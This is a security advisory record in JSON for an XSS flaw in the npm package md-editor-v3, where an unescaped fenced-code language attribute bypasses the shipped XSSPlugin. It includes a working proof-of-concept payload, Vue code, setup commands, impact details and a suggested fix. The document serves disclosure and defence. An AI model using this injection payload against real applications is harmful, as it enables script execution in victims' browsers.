{"id":"CVE-2026-84992","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-84992","summary":"md-editor-v3: XSS via fenced-code language rendering bypass","details":"### Summary\n`MdPreview` interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped `XSSPlugin` is enabled.\n\n### Details\n`useMarkdownIt()` (`packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206`) registers a `highlight` callback whose final return inserts `language` into both `class=\"language-${language}\"` and an unquoted `language=${language}` attribute without escaping. Both highlighting paths reach this return. `XSSPlugin()` filters only existing `html_block` and `html_inline` tokens before rendering, so it cannot inspect this renderer-generated HTML.\n\n### PoC\nThe Vue application enables the shipped `XSSPlugin` and renders attacker-controlled Markdown. `noHighlight: true` only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as `src/main.js`:\n\n```js\nimport { createApp, h } from 'vue';\nimport { MdPreview, XSSPlugin, config } from 'md-editor-v3';\n\nconfig({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });\nconst markdown = '```x\"><details/open/ontoggle=alert(document.domain)>\\nSAFE\\n```';\ncreateApp({ render: () => h(MdPreview,\n  { editorId: 'poc', modelValue: markdown, noHighlight: true })\n}).mount('#app');\n```\n\nCreate and run the app, replacing `src/main.js` when indicated:\n\n```sh\nnpm create vite@latest poc -- --template vue\ncd poc\nnpm install\nnpm install md-editor-v3@6.5.3\n# Replace src/main.js with the code above.\nnpm run dev\n```\n\nOpening the displayed URL automatically shows the application hostname in an alert.\n\n### Impact\nAn attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.\n\n### Suggested fix\nEscape `language` with `md.utils.escapeHtml` before interpolation and quote the `language` attribute. Add this payload and the raw control as regression tests with `XSSPlugin` enabled.","published":"2026-09-18T17:17:36Z","modified":"2026-09-18T17:30:08.398856654Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"md-editor-v3","fixedVersion":"6.5.4"}],"fix":{"url":"https://github.com/imzbf/md-editor-v3/commit/2c07360420e74087f5bc63032ab155d93e0a0b10","label":"imzbf/md-editor-v3@2c07360"},"references":[{"type":"WEB","url":"https://github.com/imzbf/md-editor-v3/security/advisories/GHSA-3rm2-h79c-8qw6"},{"type":"WEB","url":"https://github.com/imzbf/md-editor-v3/commit/2c07360420e74087f5bc63032ab155d93e0a0b10"},{"type":"PACKAGE","url":"https://github.com/imzbf/md-editor-v3"},{"type":"WEB","url":"https://github.com/imzbf/md-editor-v3/releases/tag/v6.5.4"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-18T17:30:08.398856654Z"}}